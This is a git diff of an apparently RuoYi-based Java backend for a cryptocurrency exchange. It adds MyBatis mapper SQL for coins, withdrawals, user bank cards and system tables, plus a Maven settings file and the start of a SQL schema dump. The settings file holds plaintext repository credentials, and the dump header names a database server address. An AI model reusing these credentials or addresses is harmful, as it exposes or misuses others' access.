+ + + + + + + + + + + + + + + select id, coin, logo, refer_coin, refer_market, show_symbol, price, proportion, create_by, create_time, update_by, update_time, remark from t_spontaneous_coin + + + + + + + + insert into t_spontaneous_coin + + coin, + logo, + refer_coin, + refer_market, + show_symbol, + price, + proportion, + create_by, + create_time, + update_by, + update_time, + remark, + + + #{coin}, + #{logo}, + #{referCoin}, + #{referMarket}, + #{showSymbol}, + #{price}, + #{proportion}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + + + + + update t_spontaneous_coin + + coin = #{coin}, + logo = #{logo}, + refer_coin = #{referCoin}, + refer_market = #{referMarket}, + show_symbol = #{showSymbol}, + price = #{price}, + proportion = #{proportion}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + + where id = #{id} + + + + delete from t_spontaneous_coin where id = #{id} + + + + delete from t_spontaneous_coin where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolManageMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolManageMapper.xml new file mode 100644 index 0000000..62fdfac --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolManageMapper.xml @@ -0,0 +1,132 @@ + + + + + + + + + + + + + + + + + + + + + + + + select id, symbol, min_charge_num, max_charge_num, commission, sort, enable, remark, create_by, create_time, update_by, update_time, del_flag, logo, market from t_symbol_manage + + + + + + + + + insert into t_symbol_manage + + symbol, + min_charge_num, + max_charge_num, + commission, + sort, + enable, + remark, + create_by, + create_time, + update_by, + update_time, + del_flag, + logo, + market, + + + #{symbol}, + #{minChargeNum}, + #{maxChargeNum}, + #{commission}, + #{sort}, + #{enable}, + #{remark}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{delFlag}, + #{logo}, + #{market}, + + + + + update t_symbol_manage + + symbol = #{symbol}, + min_charge_num = #{minChargeNum}, + max_charge_num = #{maxChargeNum}, + commission = #{commission}, + sort = #{sort}, + enable = #{enable}, + remark = #{remark}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + del_flag = #{delFlag}, + logo = #{logo}, + market = #{market}, + + where id = #{id} + + + + delete from t_symbol_manage where id = #{id} + + + + update t_symbol_manage set del_flag = '2' where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolsMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolsMapper.xml new file mode 100644 index 0000000..6706f53 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TSymbolsMapper.xml @@ -0,0 +1,73 @@ + + + + + + + + + + + + + + select slug, symbol, fullname, logo_Url, fiat from t_symbols + + + + + + + + insert into t_symbols + + slug, + symbol, + fullname, + logo_Url, + fiat, + + + #{slug}, + #{symbol}, + #{fullname}, + #{logoUrl}, + #{fiat}, + + + + + update t_symbols + + symbol = #{symbol}, + fullname = #{fullname}, + logo_Url = #{logoUrl}, + fiat = #{fiat}, + + where slug = #{slug} + + + + delete from t_symbols where slug = #{slug} + + + + delete from t_symbols where slug in + + #{slug} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TUserBankMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TUserBankMapper.xml new file mode 100644 index 0000000..b594268 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TUserBankMapper.xml @@ -0,0 +1,126 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + select id, user_name, card_number, bank_name, bank_address, bank_branch, user_id, create_by, create_time, update_by, update_time, remark, search_value, bank_code, user_address, admin_parent_ids, coin from t_user_bank + + + + + + + + insert into t_user_bank + + user_name, + card_number, + bank_name, + bank_address, + bank_branch, + user_id, + create_by, + create_time, + update_by, + update_time, + remark, + search_value, + bank_code, + user_address, + admin_parent_ids, + coin, + + + #{userName}, + #{cardNumber}, + #{bankName}, + #{bankAddress}, + #{bankBranch}, + #{userId}, + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{searchValue}, + #{bankCode}, + #{userAddress}, + #{adminParentIds}, + #{coin}, + + + + + update t_user_bank + + user_name = #{userName}, + card_number = #{cardNumber}, + bank_name = #{bankName}, + bank_address = #{bankAddress}, + bank_branch = #{bankBranch}, + user_id = #{userId}, + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + search_value = #{searchValue}, + bank_code = #{bankCode}, + user_address = #{userAddress}, + admin_parent_ids = #{adminParentIds}, + coin = #{coin}, + + where id = #{id} + + + + delete from t_user_bank where id = #{id} + + + + delete from t_user_bank where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TUserCoinMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TUserCoinMapper.xml new file mode 100644 index 0000000..4038775 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TUserCoinMapper.xml @@ -0,0 +1,18 @@ + + + + + + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TUserSymbolAddressMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TUserSymbolAddressMapper.xml new file mode 100644 index 0000000..ba398c8 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TUserSymbolAddressMapper.xml @@ -0,0 +1,68 @@ + + + + + + + + + + + + + select id, user_id, symbol, address from t_user_symbol_address + + + + + + + + insert into t_user_symbol_address + + id, + user_id, + symbol, + address, + + + #{id}, + #{userId}, + #{symbol}, + #{address}, + + + + + update t_user_symbol_address + + user_id = #{userId}, + symbol = #{symbol}, + address = #{address}, + + where id = #{id} + + + + delete from t_user_symbol_address where id = #{id} + + + + delete from t_user_symbol_address where id in + + #{id} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/bussiness/TWithdrawMapper.xml b/ruoyi-system/src/main/resources/mapper/bussiness/TWithdrawMapper.xml new file mode 100644 index 0000000..cb89d9d --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/bussiness/TWithdrawMapper.xml @@ -0,0 +1,362 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select id, create_by, create_time, update_by, update_time, remark, user_id, username, + address, amount, status, serial_id, search_value, from_addr, type, coin, ratio, + fee, withdraw_id, host, real_amount, to_adress, admin_parent_ids, notice_flag, + with_draw_remark, bank_name, bank_user_name, bank_branch,order_type, exchange_rate, + receipt_amount,receipt_real_amount,receipt_coin + from t_withdraw + + + + + + + + + + + insert into t_withdraw + + create_by, + create_time, + update_by, + update_time, + remark, + user_id, + username, + address, + amount, + status, + serial_id, + search_value, + from_addr, + type, + coin, + ratio, + fee, + withdraw_id, + host, + real_amount, + to_adress, + admin_parent_ids, + notice_flag, + with_draw_remark, + bank_name, + bank_user_name, + bank_branch, + fixed_fee, + order_type, + exchange_rate, + receipt_amount, + receipt_real_amount, + receipt_coin, + + + #{createBy}, + #{createTime}, + #{updateBy}, + #{updateTime}, + #{remark}, + #{userId}, + #{username}, + #{address}, + #{amount}, + #{status}, + #{serialId}, + #{searchValue}, + #{fromAddr}, + #{type}, + #{coin}, + #{ratio}, + #{fee}, + #{withdrawId}, + #{host}, + #{realAmount}, + #{toAdress}, + #{adminParentIds}, + #{noticeFlag}, + #{withDrawRemark}, + #{bankName}, + #{bankUserName}, + #{bankBranch}, + #{fixedFee}, + #{orderType}, + #{exchangeRate}, + #{receiptAmount}, + #{receiptRealAmount}, + #{receiptCoin}, + + + + + update t_withdraw + + create_by = #{createBy}, + create_time = #{createTime}, + update_by = #{updateBy}, + update_time = #{updateTime}, + remark = #{remark}, + user_id = #{userId}, + username = #{username}, + address = #{address}, + amount = #{amount}, + status = #{status}, + serial_id = #{serialId}, + search_value = #{searchValue}, + from_addr = #{fromAddr}, + type = #{type}, + coin = #{coin}, + ratio = #{ratio}, + fee = #{fee}, + withdraw_id = #{withdrawId}, + host = #{host}, + real_amount = #{realAmount}, + to_adress = #{toAdress}, + admin_parent_ids = #{adminParentIds}, + notice_flag = #{noticeFlag}, + with_draw_remark = #{withDrawRemark}, + bank_name = #{bankName}, + bank_user_name = #{bankUserName}, + bank_branch = #{bankBranch}, + fixed_fee = #{fixedFee}, + order_type = #{orderType}, + exchange_rate = #{exchangeRate}, + receipt_amount = #{receiptAmount}, + receipt_real_amount = #{receiptRealAmount}, + receipt_coin = #{receiptCoin}, + + where id = #{id} + + + + delete from t_withdraw where id = #{id} + + + + delete from t_withdraw where id in + + #{id} + + + + + + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml new file mode 100644 index 0000000..ca39f47 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysConfigMapper.xml @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + select config_id, config_name, config_key, config_value, config_type, create_by, create_time, update_by, update_time, remark + from sys_config + + + + + + + and config_id = #{configId} + + + and config_key = #{configKey} + + + + + + + + + + + + + + insert into sys_config ( + config_name, + config_key, + config_value, + config_type, + create_by, + remark, + create_time + )values( + #{configName}, + #{configKey}, + #{configValue}, + #{configType}, + #{createBy}, + #{remark}, + sysdate() + ) + + + + update sys_config + + config_name = #{configName}, + config_key = #{configKey}, + config_value = #{configValue}, + config_type = #{configType}, + update_by = #{updateBy}, + remark = #{remark}, + update_time = sysdate() + + where config_id = #{configId} + + + + delete from sys_config where config_id = #{configId} + + + + delete from sys_config where config_id in + + #{configId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml new file mode 100644 index 0000000..cf439f6 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysDeptMapper.xml @@ -0,0 +1,159 @@ + + + + + + + + + + + + + + + + + + + + + + + + select d.dept_id, d.parent_id, d.ancestors, d.dept_name, d.order_num, d.leader, d.phone, d.email, d.status, d.del_flag, d.create_by, d.create_time + from sys_dept d + + + + + + + + + + + + + + + + + + + + insert into sys_dept( + dept_id, + parent_id, + dept_name, + ancestors, + order_num, + leader, + phone, + email, + status, + create_by, + create_time + )values( + #{deptId}, + #{parentId}, + #{deptName}, + #{ancestors}, + #{orderNum}, + #{leader}, + #{phone}, + #{email}, + #{status}, + #{createBy}, + sysdate() + ) + + + + update sys_dept + + parent_id = #{parentId}, + dept_name = #{deptName}, + ancestors = #{ancestors}, + order_num = #{orderNum}, + leader = #{leader}, + phone = #{phone}, + email = #{email}, + status = #{status}, + update_by = #{updateBy}, + update_time = sysdate() + + where dept_id = #{deptId} + + + + update sys_dept set ancestors = + + when #{item.deptId} then #{item.ancestors} + + where dept_id in + + #{item.deptId} + + + + + update sys_dept set status = '0' where dept_id in + + #{deptId} + + + + + update sys_dept set del_flag = '2' where dept_id = #{deptId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml new file mode 100644 index 0000000..4b05360 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysDictDataMapper.xml @@ -0,0 +1,135 @@ + + + + + + + + + + + + + + + + + + + + + + + select dict_code, dict_sort, dict_label, dict_value, dict_type, css_class, list_class, + is_default, status, create_by, create_time, remark ,img_url + from sys_dict_data + + + + + + + + + + + + + + delete from sys_dict_data where dict_code = #{dictCode} + + + + delete from sys_dict_data where dict_code in + + #{dictCode} + + + + + update sys_dict_data + + dict_sort = #{dictSort}, + dict_label = #{dictLabel}, + dict_value = #{dictValue}, + dict_type = #{dictType}, + css_class = #{cssClass}, + list_class = #{listClass}, + is_default = #{isDefault}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + img_url = #{imgUrl}, + update_time = sysdate() + + where dict_code = #{dictCode} + + + + update sys_dict_data set dict_type = #{newDictType} where dict_type = #{oldDictType} + + + update sys_dict_data set is_default = 'N' where dict_type = #{dictType} + + and dict_code != #{dictCode} + + + + + insert into sys_dict_data( + dict_sort, + dict_label, + dict_value, + dict_type, + css_class, + list_class, + is_default, + status, + remark, + create_by, + img_url, + create_time + )values( + #{dictSort}, + #{dictLabel}, + #{dictValue}, + #{dictType}, + #{cssClass}, + #{listClass}, + #{isDefault}, + #{status}, + #{remark}, + #{createBy}, + #{imgUrl}, + sysdate() + ) + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml new file mode 100644 index 0000000..55b4075 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysDictTypeMapper.xml @@ -0,0 +1,105 @@ + + + + + + + + + + + + + + + + + select dict_id, dict_name, dict_type, status, create_by, create_time, remark + from sys_dict_type + + + + + + + + + + + + + + delete from sys_dict_type where dict_id = #{dictId} + + + + delete from sys_dict_type where dict_id in + + #{dictId} + + + + + update sys_dict_type + + dict_name = #{dictName}, + dict_type = #{dictType}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where dict_id = #{dictId} + + + + insert into sys_dict_type( + dict_name, + dict_type, + status, + remark, + create_by, + create_time + )values( + #{dictName}, + #{dictType}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml new file mode 100644 index 0000000..822d665 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysLogininforMapper.xml @@ -0,0 +1,57 @@ + + + + + + + + + + + + + + + + + + insert into sys_logininfor (user_name, status, ipaddr, login_location, browser, os, msg, login_time) + values (#{userName}, #{status}, #{ipaddr}, #{loginLocation}, #{browser}, #{os}, #{msg}, sysdate()) + + + + + + delete from sys_logininfor where info_id in + + #{infoId} + + + + + truncate table sys_logininfor + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml new file mode 100644 index 0000000..6762007 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysMenuMapper.xml @@ -0,0 +1,202 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select menu_id, menu_name, parent_id, order_num, path, component, `query`, is_frame, is_cache, menu_type, visible, status, ifnull(perms,'') as perms, icon, create_time + from sys_menu + + + + + + + + + + + + + + + + + + + + + + + + + + update sys_menu + + menu_name = #{menuName}, + parent_id = #{parentId}, + order_num = #{orderNum}, + path = #{path}, + component = #{component}, + `query` = #{query}, + is_frame = #{isFrame}, + is_cache = #{isCache}, + menu_type = #{menuType}, + visible = #{visible}, + status = #{status}, + perms = #{perms}, + icon = #{icon}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where menu_id = #{menuId} + + + + insert into sys_menu( + menu_id, + parent_id, + menu_name, + order_num, + path, + component, + `query`, + is_frame, + is_cache, + menu_type, + visible, + status, + perms, + icon, + remark, + create_by, + create_time + )values( + #{menuId}, + #{parentId}, + #{menuName}, + #{orderNum}, + #{path}, + #{component}, + #{query}, + #{isFrame}, + #{isCache}, + #{menuType}, + #{visible}, + #{status}, + #{perms}, + #{icon}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + delete from sys_menu where menu_id = #{menuId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml new file mode 100644 index 0000000..65d3079 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysNoticeMapper.xml @@ -0,0 +1,89 @@ + + + + + + + + + + + + + + + + + + + select notice_id, notice_title, notice_type, cast(notice_content as char) as notice_content, status, create_by, create_time, update_by, update_time, remark + from sys_notice + + + + + + + + insert into sys_notice ( + notice_title, + notice_type, + notice_content, + status, + remark, + create_by, + create_time + )values( + #{noticeTitle}, + #{noticeType}, + #{noticeContent}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + update sys_notice + + notice_title = #{noticeTitle}, + notice_type = #{noticeType}, + notice_content = #{noticeContent}, + status = #{status}, + update_by = #{updateBy}, + update_time = sysdate() + + where notice_id = #{noticeId} + + + + delete from sys_notice where notice_id = #{noticeId} + + + + delete from sys_notice where notice_id in + + #{noticeId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml new file mode 100644 index 0000000..96bc621 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysOperLogMapper.xml @@ -0,0 +1,84 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + select oper_id, title, business_type, method, request_method, operator_type, oper_name, dept_name, oper_url, oper_ip, oper_location, oper_param, json_result, status, error_msg, oper_time, cost_time + from sys_oper_log + + + + insert into sys_oper_log(title, business_type, method, request_method, operator_type, oper_name, dept_name, oper_url, oper_ip, oper_location, oper_param, json_result, status, error_msg, cost_time, oper_time) + values (#{title}, #{businessType}, #{method}, #{requestMethod}, #{operatorType}, #{operName}, #{deptName}, #{operUrl}, #{operIp}, #{operLocation}, #{operParam}, #{jsonResult}, #{status}, #{errorMsg}, #{costTime}, sysdate()) + + + + + + delete from sys_oper_log where oper_id in + + #{operId} + + + + + + + truncate table sys_oper_log + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml new file mode 100644 index 0000000..227c459 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysPostMapper.xml @@ -0,0 +1,122 @@ + + + + + + + + + + + + + + + + + + + select post_id, post_code, post_name, post_sort, status, create_by, create_time, remark + from sys_post + + + + + + + + + + + + + + + + + + update sys_post + + post_code = #{postCode}, + post_name = #{postName}, + post_sort = #{postSort}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where post_id = #{postId} + + + + insert into sys_post( + post_id, + post_code, + post_name, + post_sort, + status, + remark, + create_by, + create_time + )values( + #{postId}, + #{postCode}, + #{postName}, + #{postSort}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + delete from sys_post where post_id = #{postId} + + + + delete from sys_post where post_id in + + #{postId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml new file mode 100644 index 0000000..7c4139b --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysRoleDeptMapper.xml @@ -0,0 +1,34 @@ + + + + + + + + + + + delete from sys_role_dept where role_id=#{roleId} + + + + + + delete from sys_role_dept where role_id in + + #{roleId} + + + + + insert into sys_role_dept(role_id, dept_id) values + + (#{item.roleId},#{item.deptId}) + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml new file mode 100644 index 0000000..b2f6c60 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysRoleMapper.xml @@ -0,0 +1,155 @@ + + + + + + + + + + + + + + + + + + + + + + + select distinct r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.menu_check_strictly, r.dept_check_strictly, + r.status, r.del_flag, r.create_time, r.remark + from sys_role r + left join sys_user_role ur on ur.role_id = r.role_id + left join sys_user u on u.user_id = ur.user_id + left join sys_dept d on u.dept_id = d.dept_id + + + + + + + + + + + + + + + + + + + + insert into sys_role( + role_id, + role_name, + role_key, + role_sort, + data_scope, + menu_check_strictly, + dept_check_strictly, + status, + remark, + create_by, + create_time + )values( + #{roleId}, + #{roleName}, + #{roleKey}, + #{roleSort}, + #{dataScope}, + #{menuCheckStrictly}, + #{deptCheckStrictly}, + #{status}, + #{remark}, + #{createBy}, + sysdate() + ) + + + + update sys_role + + role_name = #{roleName}, + role_key = #{roleKey}, + role_sort = #{roleSort}, + data_scope = #{dataScope}, + menu_check_strictly = #{menuCheckStrictly}, + dept_check_strictly = #{deptCheckStrictly}, + status = #{status}, + remark = #{remark}, + update_by = #{updateBy}, + update_time = sysdate() + + where role_id = #{roleId} + + + + update sys_role set del_flag = '2' where role_id = #{roleId} + + + + update sys_role set del_flag = '2' where role_id in + + #{roleId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml new file mode 100644 index 0000000..cb60a85 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysRoleMenuMapper.xml @@ -0,0 +1,34 @@ + + + + + + + + + + + + + delete from sys_role_menu where role_id=#{roleId} + + + + delete from sys_role_menu where role_id in + + #{roleId} + + + + + insert into sys_role_menu(role_id, menu_id) values + + (#{item.roleId},#{item.menuId}) + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml new file mode 100644 index 0000000..983762a --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysUserMapper.xml @@ -0,0 +1,255 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + select u.user_id, u.dept_id, u.user_type, u.user_name, u.nick_name, u.email, u.avatar, u.phonenumber, u.password, u.sex, + u.status, u.del_flag, u.login_ip, u.login_date, u.parent_id, u.create_by, u.create_time, u.remark,u.google_key, + d.dept_id, d.parent_id, d.ancestors, d.dept_name, d.order_num, d.leader, d.status as dept_status, + r.role_id, r.role_name, r.role_key, r.role_sort, r.data_scope, r.status as role_status + from sys_user u + left join sys_dept d on u.dept_id = d.dept_id + left join sys_user_role ur on u.user_id = ur.user_id + left join sys_role r on r.role_id = ur.role_id + + + + + + + + + + + + + + + + + + + + insert into sys_user( + user_id, + dept_id, + user_type, + user_name, + nick_name, + email, + avatar, + phonenumber, + sex, + password, + status, + create_by, + remark, + parent_id, + google_key, + create_time + )values( + #{userId}, + #{deptId}, + #{userType}, + #{userName}, + #{nickName}, + #{email}, + #{avatar}, + #{phonenumber}, + #{sex}, + #{password}, + #{status}, + #{createBy}, + #{remark}, + #{parentId}, + #{googleKey}, + sysdate() + ) + + + + update sys_user + + dept_id = #{deptId}, + user_type = #{userType}, + user_name = #{userName}, + nick_name = #{nickName}, + email = #{email}, + phonenumber = #{phonenumber}, + sex = #{sex}, + avatar = #{avatar}, + password = #{password}, + status = #{status}, + login_ip = #{loginIp}, + login_date = #{loginDate}, + update_by = #{updateBy}, + remark = #{remark}, + parent_id = #{parentId}, + google_key = #{googleKey}, + update_time = sysdate() + + where user_id = #{userId} + + + + update sys_user set status = #{status} where user_id = #{userId} + + + + update sys_user set avatar = #{avatar} where user_name = #{userName} + + + + update sys_user set password = #{password} where user_name = #{userName} + + + + update sys_user set del_flag = '2' where user_id = #{userId} + + + + update sys_user set del_flag = '2' where user_id in + + #{userId} + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml new file mode 100644 index 0000000..2b90bc4 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysUserPostMapper.xml @@ -0,0 +1,34 @@ + + + + + + + + + + + delete from sys_user_post where user_id=#{userId} + + + + + + delete from sys_user_post where user_id in + + #{userId} + + + + + insert into sys_user_post(user_id, post_id) values + + (#{item.userId},#{item.postId}) + + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml b/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml new file mode 100644 index 0000000..dd72689 --- /dev/null +++ b/ruoyi-system/src/main/resources/mapper/system/SysUserRoleMapper.xml @@ -0,0 +1,44 @@ + + + + + + + + + + + delete from sys_user_role where user_id=#{userId} + + + + + + delete from sys_user_role where user_id in + + #{userId} + + + + + insert into sys_user_role(user_id, role_id) values + + (#{item.userId},#{item.roleId}) + + + + + delete from sys_user_role where user_id=#{userId} and role_id=#{roleId} + + + + delete from sys_user_role where role_id=#{roleId} and user_id in + + #{userId} + + + \ No newline at end of file diff --git a/ruoyi-system/src/main/resources/templates/bindCodeEmail.ftl b/ruoyi-system/src/main/resources/templates/bindCodeEmail.ftl new file mode 100644 index 0000000..24eca4f --- /dev/null +++ b/ruoyi-system/src/main/resources/templates/bindCodeEmail.ftl @@ -0,0 +1,8 @@ + + +
    +
    Your verification code is ${code}, it will be valid within ten minutes, if you are not operating it, please ignore it.
    +<#--
    дтверждения ${code}, он действителен в течение 10 мин. Если вы его не запрашивали, проигнорируйте это сообщение
    --> +
    + + \ No newline at end of file diff --git a/ruoyi.iml b/ruoyi.iml new file mode 100644 index 0000000..f409c0e --- /dev/null +++ b/ruoyi.iml @@ -0,0 +1,12 @@ + + + + + + + + + + + + \ No newline at end of file diff --git a/setting/settings.xml b/setting/settings.xml new file mode 100644 index 0000000..5a2537f --- /dev/null +++ b/setting/settings.xml @@ -0,0 +1,83 @@ + + +D:\repository + +org.mortbay.jetty + + + + + + echo2-group + admin + admin123 + + + Snapshots + ali + ali + + + + + + echo2-group + * + https://nexus.ok6.cc/repository/echo2-group/ + + + + nexus-public-snapshots + public-snapshots + http://maven.aliyun.com/nexus/content/repositories/snapshots/ + + + + + development + + + central + http://central + truealways + truealways + + + + + central + http://central + truealways + truealways + + + + + + public-snapshots + + + public-snapshots + http://public-snapshots + false + truealways + + + + + public-snapshots + http://public-snapshots + false + truealways + + + + + + development + public-snapshots + + \ No newline at end of file diff --git a/sql/echo2.sql b/sql/echo2.sql new file mode 100644 index 0000000..61a95fc --- /dev/null +++ b/sql/echo2.sql @@ -0,0 +1,10534 @@ +/* + Navicat Premium Data Transfer + + Source Server : 121.37.225.139 echo + Source Server Type : MySQL + Source Server Version : 80035 + Source Host : 121.37.225.139:8999 + Source Schema : echo2 + + Target Server Type : MySQL + Target Server Version : 80035 + File Encoding : 65001 + + Date: 22/02/2024 01:04:53 +*/ + +SET NAMES utf8mb4; +SET FOREIGN_KEY_CHECKS = 0; + +-- ---------------------------- +-- Table structure for gen_table +-- ---------------------------- +DROP TABLE IF EXISTS `gen_table`; +CREATE TABLE `gen_table` ( + `table_id` bigint(0) NOT NULL AUTO_INCREMENT COMMENT '编号', + `table_name` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '表名称', + `table_comment` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '表描述', + `sub_table_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '关联子表的表名', + `sub_table_fk_name` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '子表关联的外键名', + `class_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '实体类名称', + `tpl_category` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT 'crud' COMMENT '使用的模板(crud单表操作 tree树表操作)', + `package_name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成包路径', + `module_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成模块名', + `business_name` varchar(30) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成业务名', + `function_name` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成功能名', + `function_author` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '生成功能作者', + `gen_type` char(1) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '0' COMMENT '生成代码方式(0zip压缩包 1自定义路径)', + `gen_path` varchar(200) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '/' COMMENT '生成路径(不填默认项目路径)', + `options` varchar(1000) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '其它生成选项', + `create_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '创建者', + `create_time` datetime(0) NULL DEFAULT NULL COMMENT '创建时间', + `update_by` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT '' COMMENT '更新者', + `update_time` datetime(0) NULL DEFAULT NULL COMMENT '更新时间', + `remark` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL DEFAULT NULL COMMENT '备注', + PRIMARY KEY (`table_id`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 39 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci COMMENT = '代码生成业务表' ROW_FORMAT = Dynamic; + +-- 